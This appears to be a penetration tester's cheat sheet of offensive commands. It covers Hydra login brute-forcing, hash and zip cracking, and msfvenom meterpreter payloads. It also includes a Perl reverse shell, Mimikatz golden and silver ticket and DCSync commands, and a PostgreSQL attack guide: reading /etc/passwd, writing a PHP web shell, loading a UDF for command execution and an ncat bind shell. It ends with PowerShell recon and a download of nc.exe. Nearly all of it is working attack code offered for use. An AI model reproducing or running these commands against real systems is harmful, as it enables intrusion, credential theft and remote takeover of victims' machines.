| username list password list params IP address service | |
| Hydra against a post request on a website. http-post-form is because it's a post request ^USER^ and ^PASS^ are the variables in the post request - Incorrect username is a string that comes into play when you incorrectly login. - the colon separates the parameters | |
| hydra -l admin -P darkweb2017-top10K.txt 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username" | |
| Hydra Post on a forum | |
| hydra -l harvey -P /usr/share/wordlists/rockyou.txt internal-01.bart.htb http-form-post "/simple_chat/login.php:uname=^USER^&passwd=^PASS^&submit=login:Invalid Username or Password" | |
| To crack a locked zip file | |
| fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.tar.bz2.zip <--crack a zip file | |
| wordlist file | |
| now, you can unzip the file with the following "if the password is found" | |
| unzip -P <password> <name of file> | |
| *example unzip -P aaaaaa backup.tar.bz2.zip | |
| now you can unzip the file | |
| tar -xjf <filename> | |
| John Stand Alone Cracker | |
| john <hashdump> --wordlist /usr/share/wordlists/rockyou.txt | |
| Responder | |
| hashcat32.exe -m 5600 "F:\kali-stuff\Steve_Hashes.txt" "F:\kali-stuff\18_in_1.lst" -r "F:\kali-stuff\NSAKEYv2.rule" -O -w 3 -a 0 | |
| hashcat64.exe -m 5600 "F:\kali-stuff\rules\netntlm-hashes.txt" "F:\kali-stuff\test" -r fuckyou.rule --speed-only --net-ntlmv2 AKA responder hashes | |
| Kerberoast | |
| hashcat32.exe -m 13100 -d 1 -w 4 -a 0 "F:\kali-stuff\pewpewinteresting.txt" "F:\kali-stuff\18_in_1.lst" -r "F:\kali-stuff\NSAKEYv2.rule" -O | |
| hashcat32.exe -m 1000 "F:\kali-stuff\Steve_Hashes.txt" "F:\kali-stuff\18_in_1.lst" -r "F:\kali-stuff\NSAKEYv2.rule" -O -w 3 -a 0 |
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| root@kali:~/Desktop/html# grep -i -r "password = '" ./ | |
| grep -i -r "password = '" ./ | |
| the above command would search everything | |
| in the "html" folder for password as a string :) |
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| payload templates | |
| msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.40.5 LPORT=80 -f c --platform windows -h -b "\x00\x30" <------600 bytes | |
| msfvenom -p windows/meterpreter/bind_tcp RHOST=10.185.10.20 LPORT=443 -f c --platform windows --smallest -b "\x00\x30" | |
| msfvenom -p windows/meterpreter/bind_tcp RHOST=10.185.10.20 LPORT=443 -f c --platform windows --smallest -b "\x00\x30" <--300 bytes this works | |
| msfvenom -p windows/meterpreter/bind_tcp RHOST=10.185.10.55 LPORT=443 -f c --platform windows --smallest -b "\x00\x30" <--300 bytes this works | |
| msfvenom -p windows/exec -f c --platform windows cmd="enter windowd command here" -b "\x00\x30" | |
| Staged Payloads Stageless Payloads | |
| windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp | |
| windows/meterpreter/reverse_https windows/meterpreter_reverse_https | |
| windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp | |
| msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.0.16 LPORT=8443 |
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| Save this as a CGI file: - you can always just use a command line as well | |
| perl -e 'use Socket;$i="192.168.30.53";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
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| Golden Ticket Attack | |
| A golden ticket is signed and encrypted by the hash of krbtgt account which makes it a valiod TGT ticket | |
| Since user account validation is not done by Domain Controller (KDC Service) until TGT is older than 20 minutes, we can even use deleted/revoked accounts | |
| The KRBTGT user hash could be used to impersonate any user with any privileges from even a non-domain machine | |
| Single Password Change has no effect on this attack | |
| A Couple of examples of commands | |
| Execute Mimikatz on DC | |
| Invoke-Mimikatz -Command '"lasdump::lsa /patch"' -Computername dc01 | |
| Execute MimiKatz on any machine | |
| Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:victim.local /sid:<domain sid> /krbtgt:<krbtgt ntlm hash> /id:500 /groups:513 /ptt"' | |
| To use the DCSync feature for getting krbtgt hash, execute the below command with DA privileges for ops domain | |
| Invoke-Mimikatz -Command '"lsadump::dcsync /user:victim.local\krbtgt"' | |
| SIlver Ticket Attack | |
| A Valid TGS (Golden Ticket is TGT) | |
| Encrypted and Signed by the NTLM hash of the service account - (Golden Ticket is signed by the hash of the KRBTGT) of the service running with that account | |
| Services rarely check PAC (Privileged Attribute Certificate) | |
| Services will allow access only to the services themselves | |
| Create Silver ticket | |
| Invoke-MimiKatz -Command '"kerberos::golden /domain:victim.local /sid:<domain sid> /target:<target machine> /service:cifs /rc4:<NTLM hash of machine account> /id:500 /user:Administrator /ptt"' |
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| Linux | |
| for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done | |
| Windows | |
| for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up. |
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| port | |
| 6379 - redis - usage redis-cli -h <ip-address> |
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| After getting access to a SQL Server, interesting information can be gathered : | |
| Version - SELECT @@version | |
| Current User - SELECT SUSER_SNAME() SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') | |
| Current Role – SELECT user | |
| Current database - SELECT db_name() | |
| List all databases - SELECT name FROM master..sysdatabases | |
| (If below is run with sysadmin privs - more logins are shown) | |
| All logins on server - SELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE' | |
| All database users for a database - SELECT * FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE' | |
| (If below is run with sysadmin privs - more logins are shown) | |
| List all sysadmin - SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 | |
| List all database roles - SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name; | |
| Effective Permissions for the server - SELECT * FROM fn_my_permissions(NULL, 'SERVER'); | |
| Effective Permissions for the database - SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); | |
| Active user token – SELECT * FROM sys.user_token | |
| Active login token - SELECT * FROM sys.login_token |
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| Hacking Postgres | |
| https://github.com/nixawk/pentest-wiki/blob/master/2.Vulnerability-Assessment/Database-Assessment/postgresql/postgresql_hacking.md | |
| Basic Knowledge of Postgresql | |
| https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9 | |
| How to get command execution with 9.x Postgresql | |
| https://www.dionach.com/blog/postgresql-9x-remote-command-execution | |
| Download Postgresql | |
| https://www.enterprisedb.com/downloads/postgres-postgresql-downloads | |
| Repository | |
| https://www.postgresql.org/ftp/source/ | |
| select pg_read_file('postgresql.conf'); | |
| select pg_ls_dir('./'); | |
| **Authors**: < [nixawk](https://github.com/nixawk) > | |
| ---- | |
| #################### | |
| Read Files | |
| CREATE TABLE word(t TEXT); | |
| COPY word FROM '/var/lib/postgresql/flag.txt'; | |
| SELECT * FROM word limit 1 offset 0; | |
| #################### | |
| ########################################### | |
| RAW Steps to command execution | |
| ########################################### | |
| On Attacker Machine | |
| gcc -I$(/opt/PostgreSQL/9.6/bin/pg_config --includedir-server) -shared -fPIC -o /opt/pgexec/pg_exec.so /opt/pgexec/pg_exec.c | |
| Now upload the pg_exec.so to the victim machine | |
| On Victim Machine | |
| CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE c STRICT; | |
| \set c0 `base64 -w 0 /tmp/xaa` | |
| INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 0, decode(:'c0', 'base64')); | |
| \set c1 `base64 -w 0 /tmp/xab` | |
| INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 1, decode(:'c1', 'base64')); | |
| \set c2 `base64 -w 0 /tmp/xac` | |
| INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 2, decode(:'c2', 'base64')); | |
| \set c3 `base64 -w 0 /tmp/xad` | |
| INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 3, decode(:'c3', 'base64')); | |
| \set c4 `base64 -w 0 /tmp/xae` | |
| INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 4, decode(:'c4', 'base64')); | |
| \set c5 `base64 -w 0 /tmp/xaf` | |
| INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 5, decode(:'c5', 'base64')); | |
| \set c6 `base64 -w 0 /tmp/xag` | |
| INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 6, decode(:'c6', 'base64')); | |
| \set c7 `base64 -w 0 /tmp/xah` | |
| INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 7, decode(:'c7', 'base64')); | |
| SELECT lo_export(16420, '/tmp/pg_exec.so'); | |
| #POSTGRESQL HACK# | |
| ---- | |
| ##DATABASE CONNECTION## | |
| Please connect to **postgresql** database, | |
| ``` | |
| lab:~/ $ psql -h 127.0.0.1 -U postgres -W | |
| ``` | |
| ---- | |
| ##DATABASE COMMANDS## | |
| ``` | |
| postgres=# help | |
| You are using psql, the command-line interface to PostgreSQL. | |
| Type: \copyright for distribution terms | |
| \h for help with SQL commands | |
| \? for help with psql commands | |
| \g or terminate with semicolon to execute query | |
| \q to quit | |
| ``` | |
| ``` | |
| postgres=# \h | |
| Available help: | |
| ABORT CREATE FOREIGN DATA WRAPPER DROP SEQUENCE | |
| ALTER AGGREGATE CREATE FOREIGN TABLE DROP SERVER | |
| ALTER COLLATION CREATE FUNCTION DROP TABLE | |
| ALTER CONVERSION CREATE GROUP DROP TABLESPACE | |
| ALTER DATABASE CREATE INDEX DROP TEXT SEARCH CONFIGURATION | |
| ALTER DEFAULT PRIVILEGES CREATE LANGUAGE DROP TEXT SEARCH DICTIONARY | |
| ALTER DOMAIN CREATE MATERIALIZED VIEW DROP TEXT SEARCH PARSER | |
| ALTER EVENT TRIGGER CREATE OPERATOR DROP TEXT SEARCH TEMPLATE | |
| ALTER EXTENSION CREATE OPERATOR CLASS DROP TRIGGER | |
| ALTER FOREIGN DATA WRAPPER CREATE OPERATOR FAMILY DROP TYPE | |
| ALTER FOREIGN TABLE CREATE ROLE DROP USER | |
| ALTER FUNCTION CREATE RULE DROP USER MAPPING | |
| ALTER GROUP CREATE SCHEMA DROP VIEW | |
| ALTER INDEX CREATE SEQUENCE END | |
| ALTER LANGUAGE CREATE SERVER EXECUTE | |
| ALTER LARGE OBJECT CREATE TABLE EXPLAIN | |
| ALTER MATERIALIZED VIEW CREATE TABLE AS FETCH | |
| ALTER OPERATOR CREATE TABLESPACE GRANT | |
| ALTER OPERATOR CLASS CREATE TEXT SEARCH CONFIGURATION INSERT | |
| ALTER OPERATOR FAMILY CREATE TEXT SEARCH DICTIONARY LISTEN | |
| ALTER ROLE CREATE TEXT SEARCH PARSER LOAD | |
| ALTER RULE CREATE TEXT SEARCH TEMPLATE LOCK | |
| ALTER SCHEMA CREATE TRIGGER MOVE | |
| ALTER SEQUENCE CREATE TYPE NOTIFY | |
| ALTER SERVER CREATE USER PREPARE | |
| ALTER SYSTEM CREATE USER MAPPING PREPARE TRANSACTION | |
| ALTER TABLE CREATE VIEW REASSIGN OWNED | |
| ALTER TABLESPACE DEALLOCATE REFRESH MATERIALIZED VIEW | |
| ALTER TEXT SEARCH CONFIGURATION DECLARE REINDEX | |
| ALTER TEXT SEARCH DICTIONARY DELETE RELEASE SAVEPOINT | |
| ALTER TEXT SEARCH PARSER DISCARD RESET | |
| ALTER TEXT SEARCH TEMPLATE DO REVOKE | |
| ALTER TRIGGER DROP AGGREGATE ROLLBACK | |
| ALTER TYPE DROP CAST ROLLBACK PREPARED | |
| ALTER USER DROP COLLATION ROLLBACK TO SAVEPOINT | |
| ALTER USER MAPPING DROP CONVERSION SAVEPOINT | |
| ALTER VIEW DROP DATABASE SECURITY LABEL | |
| ANALYZE DROP DOMAIN SELECT | |
| BEGIN DROP EVENT TRIGGER SELECT INTO | |
| CHECKPOINT DROP EXTENSION SET | |
| CLOSE DROP FOREIGN DATA WRAPPER SET CONSTRAINTS | |
| CLUSTER DROP FOREIGN TABLE SET ROLE | |
| COMMENT DROP FUNCTION SET SESSION AUTHORIZATION | |
| COMMIT DROP GROUP SET TRANSACTION | |
| COMMIT PREPARED DROP INDEX SHOW | |
| COPY DROP LANGUAGE START TRANSACTION | |
| CREATE AGGREGATE DROP MATERIALIZED VIEW TABLE | |
| CREATE CAST DROP OPERATOR TRUNCATE | |
| CREATE COLLATION DROP OPERATOR CLASS UNLISTEN | |
| CREATE CONVERSION DROP OPERATOR FAMILY UPDATE | |
| CREATE DATABASE DROP OWNED VACUUM | |
| CREATE DOMAIN DROP ROLE VALUES | |
| CREATE EVENT TRIGGER DROP RULE WITH | |
| CREATE EXTENSION DROP SCHEMA | |
| ``` | |
| ``` | |
| postgres=# \? | |
| General | |
| \copyright show PostgreSQL usage and distribution terms | |
| \g [FILE] or ; execute query (and send results to file or |pipe) | |
| \gset [PREFIX] execute query and store results in psql variables | |
| \h [NAME] help on syntax of SQL commands, * for all commands | |
| \q quit psql | |
| \watch [SEC] execute query every SEC seconds | |
| Query Buffer | |
| \e [FILE] [LINE] edit the query buffer (or file) with external editor | |
| \ef [FUNCNAME [LINE]] edit function definition with external editor | |
| \p show the contents of the query buffer | |
| \r reset (clear) the query buffer | |
| \s [FILE] display history or save it to file | |
| \w FILE write query buffer to file | |
| Input/Output | |
| \copy ... perform SQL COPY with data stream to the client host | |
| \echo [STRING] write string to standard output | |
| \i FILE execute commands from file | |
| \ir FILE as \i, but relative to location of current script | |
| \o [FILE] send all query results to file or |pipe | |
| \qecho [STRING] write string to query output stream (see \o) | |
| Informational | |
| (options: S = show system objects, + = additional detail) | |
| \d[S+] list tables, views, and sequences | |
| \d[S+] NAME describe table, view, sequence, or index | |
| \da[S] [PATTERN] list aggregates | |
| \db[+] [PATTERN] list tablespaces | |
| \dc[S+] [PATTERN] list conversions | |
| \dC[+] [PATTERN] list casts | |
| \dd[S] [PATTERN] show object descriptions not displayed elsewhere | |
| \ddp [PATTERN] list default privileges | |
| \dD[S+] [PATTERN] list domains | |
| \det[+] [PATTERN] list foreign tables | |
| \des[+] [PATTERN] list foreign servers | |
| \deu[+] [PATTERN] list user mappings | |
| \dew[+] [PATTERN] list foreign-data wrappers | |
| \df[antw][S+] [PATRN] list [only agg/normal/trigger/window] functions | |
| \dF[+] [PATTERN] list text search configurations | |
| \dFd[+] [PATTERN] list text search dictionaries | |
| \dFp[+] [PATTERN] list text search parsers | |
| \dFt[+] [PATTERN] list text search templates | |
| \dg[+] [PATTERN] list roles | |
| \di[S+] [PATTERN] list indexes | |
| \dl list large objects, same as \lo_list | |
| \dL[S+] [PATTERN] list procedural languages | |
| \dm[S+] [PATTERN] list materialized views | |
| \dn[S+] [PATTERN] list schemas | |
| \do[S] [PATTERN] list operators | |
| \dO[S+] [PATTERN] list collations | |
| \dp [PATTERN] list table, view, and sequence access privileges | |
| \drds [PATRN1 [PATRN2]] list per-database role settings | |
| \ds[S+] [PATTERN] list sequences | |
| \dt[S+] [PATTERN] list tables | |
| \dT[S+] [PATTERN] list data types | |
| \du[+] [PATTERN] list roles | |
| \dv[S+] [PATTERN] list views | |
| \dE[S+] [PATTERN] list foreign tables | |
| \dx[+] [PATTERN] list extensions | |
| \dy [PATTERN] list event triggers | |
| \l[+] [PATTERN] list databases | |
| \sf[+] FUNCNAME show a function's definition | |
| \z [PATTERN] same as \dp | |
| Formatting | |
| \a toggle between unaligned and aligned output mode | |
| \C [STRING] set table title, or unset if none | |
| \f [STRING] show or set field separator for unaligned query output | |
| \H toggle HTML output mode (currently off) | |
| \pset [NAME [VALUE]] set table output option | |
| (NAME := {format|border|expanded|fieldsep|fieldsep_zero|footer|null| | |
| numericlocale|recordsep|recordsep_zero|tuples_only|title|tableattr|pager}) | |
| \t [on|off] show only rows (currently off) | |
| \T [STRING] set HTML <table> tag attributes, or unset if none | |
| \x [on|off|auto] toggle expanded output (currently off) | |
| Connection | |
| \c[onnect] {[DBNAME|- USER|- HOST|- PORT|-] | conninfo} | |
| connect to new database (currently "postgres") | |
| \encoding [ENCODING] show or set client encoding | |
| \password [USERNAME] securely change the password for a user | |
| \conninfo display information about current connection | |
| Operating System | |
| \cd [DIR] change the current working directory | |
| \setenv NAME [VALUE] set or unset environment variable | |
| \timing [on|off] toggle timing of commands (currently off) | |
| \! [COMMAND] execute command in shell or start interactive shell | |
| Variables | |
| \prompt [TEXT] NAME prompt user to set internal variable | |
| \set [NAME [VALUE]] set internal variable, or list all if no parameters | |
| \unset NAME unset (delete) internal variable | |
| Large Objects | |
| \lo_export LOBOID FILE | |
| \lo_import FILE [COMMENT] | |
| \lo_list | |
| \lo_unlink LOBOID large object operations | |
| ``` | |
| ---- | |
| ###LIST DATABASES### | |
| ``` | |
| postgres=# \l | |
| List of databases | |
| Name | Owner | Encoding | Collate | Ctype | Access privileges | |
| -----------+----------+----------+-------------+-------------+----------------------- | |
| msfdb | msfuser | UTF8 | en_US.UTF-8 | en_US.UTF-8 | | |
| postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | | |
| template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | |
| | | | | | postgres=CTc/postgres | |
| template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | |
| | | | | | postgres=CTc/postgres | |
| (4 rows) | |
| ``` | |
| ---- | |
| ###LIST DATABASE USERS### | |
| ``` | |
| postgres=# \du | |
| List of roles | |
| Role name | Attributes | Member of | |
| -----------+------------------------------------------------+----------- | |
| msfuser | | {} | |
| postgres | Superuser, Create role, Create DB, Replication | {} | |
| ``` | |
| Please try more details about postgresql database. | |
| ---- | |
| ##LIST DIRECTORY## | |
| ``` | |
| postgres=# select pg_ls_dir('/etc'); | |
| ERROR: absolute path not allowed | |
| postgres=# select pg_ls_dir('./'); | |
| pg_ls_dir | |
| ---------------------- | |
| postmaster.opts | |
| postmaster.pid | |
| pg_logical | |
| pg_clog | |
| postgresql.auto.conf | |
| pg_hba.conf | |
| cmd.so | |
| pg_multixact | |
| postgresql.conf | |
| pg_ident.conf | |
| global | |
| pg_stat_tmp | |
| PG_VERSION | |
| pg_dynshmem | |
| pg_twophase | |
| pg_xlog | |
| pg_notify | |
| pg_snapshots | |
| pg_tblspc | |
| pg_serial | |
| pg_stat | |
| base | |
| pg_subtrans | |
| pg_replslot | |
| (24 rows) | |
| ``` | |
| ---- | |
| ##READ FILE## | |
| **method1** | |
| ``` | |
| postgres=# select pg_read_file('postgresql.conf', 0, 200); | |
| pg_read_file | |
| -------------------------------------------- | |
| # ----------------------------- + | |
| # PostgreSQL configuration file + | |
| # ----------------------------- + | |
| # + | |
| # This file consists of lines of the form:+ | |
| # + | |
| # name = value + | |
| # + | |
| # (The "=" is optional.) Whitespace m | |
| (1 row) | |
| ``` | |
| **method2** | |
| ``` | |
| postgres=# drop table pwn; | |
| ERROR: table "pwn" does not exist | |
| postgres=# CREATE TABLE pwn(t TEXT); | |
| CREATE TABLE | |
| postgres=# COPY pwn FROM '/etc/passwd'; | |
| COPY 27 | |
| postgres=# SELECT * FROM pwn limit 1 offset 0; | |
| t | |
| --------------------------------- | |
| root:x:0:0:root:/root:/bin/bash | |
| (1 row) | |
| postgres=# SELECT * FROM pwn; | |
| t | |
| ------------------------------------------------------------------------------ | |
| root:x:0:0:root:/root:/bin/bash | |
| bin:x:1:1:bin:/bin:/usr/bin/nologin | |
| daemon:x:2:2:daemon:/:/usr/bin/nologin | |
| mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin | |
| ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin | |
| http:x:33:33:http:/srv/http:/usr/bin/nologin | |
| uuidd:x:68:68:uuidd:/:/usr/bin/nologin | |
| dbus:x:81:81:dbus:/:/usr/bin/nologin | |
| nobody:x:99:99:nobody:/:/usr/bin/nologin | |
| systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin | |
| systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin | |
| systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin | |
| systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin | |
| systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin | |
| systemd-journal-remote:x:999:999:systemd Journal Remote:/:/sbin/nologin | |
| systemd-journal-upload:x:998:998:systemd Journal Upload:/:/sbin/nologin | |
| avahi:x:84:84:avahi:/:/bin/false | |
| polkitd:x:102:102:Policy Kit Daemon:/:/bin/false | |
| git:x:997:997:git daemon user:/:/bin/bash | |
| colord:x:124:124::/var/lib/colord:/bin/false | |
| postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash | |
| lab:x:1000:1000::/home/notfound:/bin/bash | |
| stunnel:x:16:16::/var/run/stunnel:/bin/false | |
| dnsmasq:x:996:996:dnsmasq daemon:/:/usr/bin/nologin | |
| mongodb:x:995:2::/var/lib/mongodb:/bin/bash | |
| mysql:x:89:89::/var/lib/mysql:/bin/false | |
| sslh:x:994:994::/:/sbin/nologin | |
| (27 rows) | |
| postgres=# DROP table pwn; | |
| ``` | |
| ---- | |
| ##WRITE FILE## | |
| ``` | |
| postgres=# DROP TABLE pwn; | |
| DROP TABLE | |
| postgres=# CREATE TABLE pwn (t TEXT); | |
| CREATE TABLE | |
| postgres=# INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>'); | |
| INSERT 0 1 | |
| postgres=# SELECT * FROM pwn; | |
| t | |
| -------------------------------- | |
| <?php @system("$_GET[cmd]");?> | |
| (1 row) | |
| postgres=# COPY pwn(t) TO '/tmp/cmd.php'; | |
| COPY 1 | |
| postgres=# DROP TABLE pwn; | |
| DROP TABLE | |
| ``` | |
| ---- | |
| ##UDF HACK## | |
| ###COMPILE SOURCE### | |
| ``` | |
| lab: / $ git clone https://github.com/sqlmapproject/udfhack/ | |
| ``` | |
| ``` | |
| lab: / $ gcc lib_postgresqludf_sys.c -I`pg_config --includedir-server` -fPIC -shared -o udf64.so | |
| lab: / $ gcc -Wall -I/usr/include/postgresql/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so | |
| lab: / $ strip -sx lib_postgresqludf_sys.so | |
| ``` | |
| ###COMMAND EXECUTION### | |
| transfrom udf.so to hex strings. | |
| ``` | |
| lab:~/ $ cat udf.so | hex | |
| ``` | |
| upload udf.so with databse features. | |
| ``` | |
| postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('079c...', 'hex')); | |
| INSERT 0 1 | |
| postgres=# SELECT lo_export(19074, 'cmd.so'); | |
| ERROR: pg_largeobject entry for OID 19074, page 0 has invalid data field size 3213 | |
| postgres=# SELECT setting FROM pg_settings WHERE name='data_directory'; | |
| setting | |
| ------------------------ | |
| /var/lib/postgres/data | |
| (1 row) | |
| ``` | |
| Library is too large, and we need to split it to some pieces. Please read https://github.com/sqlmapproject/sqlmap/issues/1170. | |
| ``` | |
| postgres=# select * from pg_largeobject; | |
| loid | pageno | data | |
| ------+--------+------ | |
| (0 rows) | |
| postgres=# SELECT setting FROM pg_settings WHERE name='data_directory'; | |
| setting | |
| ------------------------ | |
| /var/lib/postgres/data | |
| (1 row) | |
| postgres=# SELECT lo_creat(-1); | |
| lo_creat | |
| ---------- | |
| 19075 | |
| (1 row) | |
| postgres=# SELECT lo_create(11122); | |
| lo_create | |
| ----------- | |
| 11122 | |
| (1 row) | |
| postgres=# select * from pg_largeobject; | |
| loid | pageno | data | |
| ------+--------+------ | |
| (0 rows) | |
| postgres=# INSERT INTO pg_largeobject VALUES (11122, 0, decode('079c...', 'hex')); | |
| INSERT 0 1 | |
| postgres=# INSERT INTO pg_largeobject VALUES (11122, 1, decode('a28e...', 'hex')); | |
| INSERT 0 1 | |
| postgres=# INSERT INTO pg_largeobject VALUES (11122, 2, decode('1265...', 'hex')); | |
| INSERT 0 1 | |
| postgres=# INSERT INTO pg_largeobject VALUES (11122, 3, decode('c62e...', 'hex')); | |
| INSERT 0 1 | |
| postgres=# SELECT lo_export(11122, '/tmp/cmd.so'); | |
| lo_export | |
| ----------- | |
| 1 | |
| (1 row) | |
| postgres=# SELECT lo_unlink(11122); | |
| lo_unlink | |
| ----------- | |
| 1 | |
| (1 row) | |
| ``` | |
| upload library successfully, and then create Postgresql FUNCTION. | |
| ``` | |
| postgres=# CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/udf64.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; | |
| CREATE FUNCTION | |
| postgres=# CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf64.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; | |
| CREATE FUNCTION | |
| ``` | |
| Execute commands with **sys\_exec**, and nothing returns. | |
| ``` | |
| postgres=# SELECT sys_exec('id'); | |
| sys_exec | |
| ---------- | |
| 0 | |
| (1 row) | |
| ``` | |
| Please clear functions after commands execution. | |
| ``` | |
| postgres=# DROP FUNCTION sys_exec(text); | |
| DROP FUNCTION | |
| postgres=# DROP FUNCTION sys_eval(text); | |
| DROP FUNCTION | |
| ``` | |
| ###BIND SHELL### | |
| ``` | |
| // bind shell on port 4444 | |
| #include "postgres.h" | |
| #include "fmgr.h" | |
| #include <stdlib.h> | |
| #ifdef PG_MODULE_MAGIC | |
| PG_MODULE_MAGIC; | |
| #endif | |
| text *exec() | |
| { | |
| system("ncat -e /bin/bash -l -p 4444"); | |
| } | |
| ``` | |
| compile source code, | |
| ``` | |
| lab:postgres_cmd/ $ vim nc.c | |
| lab:postgres_cmd/ $ gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so | |
| lab:postgres_cmd/ $ strip -sx nc.so | |
| ``` | |
| copy nc.so to postgresql tmp path, or you can upload so file with database features. | |
| ``` | |
| lab:postgres_cmd/ $ sudo cp nc.so /tmp/systemd-private-374c1bd49d5f425ca21cca8cc6d89de7-postgresql.service-SKrVjI/tmp/nc.so | |
| ``` | |
| create FUNCTION exec for bind shell. And client connects to target. | |
| ``` | |
| postgres=# CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/nc.so', 'exec' LANGUAGE C STRICT; | |
| CREATE FUNCTION | |
| postgres=# SELECT exec(); | |
| server closed the connection unexpectedly | |
| This probably means the server terminated abnormally | |
| before or while processing the request. | |
| The connection to the server was lost. Attempting reset: Failed. | |
| ``` | |
| ---- | |
| ##METASPLOIT POSTGRESQL MODULES## | |
| ``` | |
| use auxiliary/admin/postgres/postgres_readfile | |
| use auxiliary/admin/postgres/postgres_sql | |
| use auxiliary/scanner/postgres/postgres_dbname_flag_injection | |
| use auxiliary/scanner/postgres/postgres_login | |
| use auxiliary/scanner/postgres/postgres_version | |
| use auxiliary/server/capture/postgresql | |
| use exploit/linux/postgres/postgres_payload | |
| use exploit/windows/postgres/postgres_payload | |
| ``` | |
| #REFERENCES# | |
| https://github.com/sqlmapproject/udfhack/ | |
| https://github.com/sqlmapproject/sqlmap/issues/1170 | |
| http://zone.wooyun.org/content/4971 | |
| http://drops.wooyun.org/tips/6449 | |
| http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html |
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| Get a directory listing (ls, dir, gci): | |
| PS C:\> Get-ChildItem | |
| Copy a file (cp, copy, cpi): | |
| PS C:\> Copy-Item src.txt dst.txt | |
| Move a file (mv, move, mi): | |
| PS C:\> Move-Item src.txt dst.txt | |
| Find text within a file: | |
| PS C:\> Select-String –path c:\users | |
| \*.txt –pattern password | |
| PS C:\> ls -r c:\users -file | % | |
| {Select-String -path $_ -pattern | |
| password} | |
| Display file contents (cat, type, gc): | |
| PS C:\> Get-Content file.txt | |
| Get present directory (pwd, gl): | |
| PS C:\> Get-Location | |
| Get a process listing (ps, gps): | |
| PS C:\> Get-Process | |
| Get a service listing: | |
| PS C:\> Get-Service | |
| Formatting output of a command (Format-List): | |
| PS C:\> ls | Format-List –property | |
| name | |
| Paginating output: | |
| PS C:\> ls –r | Out-Host -paging | |
| Get the SHA1 hash of a file: | |
| PS C:\> Get-FileHash -Algorithm SHA1 | |
| file.txt | |
| Exporting output to CSV: | |
| PS C:\> Get-Process | Export-Csv | |
| procs.csv | |
| Conduct a ping sweep: | |
| PS C:\> 1..255 | % {echo "10.10.10.$_"; | |
| ping -n 1 -w 100 10.10.10.$_ | SelectString | |
| ttl} | |
| Conduct a port scan: | |
| PS C:\> 1..1024 | % {echo ((new-object | |
| Net.Sockets.TcpClient).Connect("10.10.10 | |
| .10",$_)) "Port $_ is open!"} 2>$null | |
| Fetch a file via HTTP (wget in PowerShell): | |
| PS C:\> (New-Object | |
| System.Net.WebClient).DownloadFile("http | |
| ://10.10.10.10/nc.exe","nc.exe") | |
| Find all files with a particular name: | |
| PS C:\> Get-ChildItem "C:\Users\" - | |
| recurse -include *passwords*.txt | |
| Get a listing of all installed Microsoft Hotfixes: | |
| PS C:\> Get-HotFix | |
| Navigate the Windows registry: | |
| PS C:\> cd HKLM:\ | |
| PS HKLM:\> ls | |
| List programs set to start automatically in the registry: | |
| PS C:\> Get-ItemProperty HKLM:\SOFTWARE | |
| \Microsoft\Windows\CurrentVersion\run | |
| Convert string from ascii to Base64: | |
| PS C:\> | |
| [System.Convert]::ToBase64String([System | |
| .Text.Encoding]::UTF8.GetBytes("PS | |
| FTW!")) | |
| List and modify the Windows firewall rules: | |
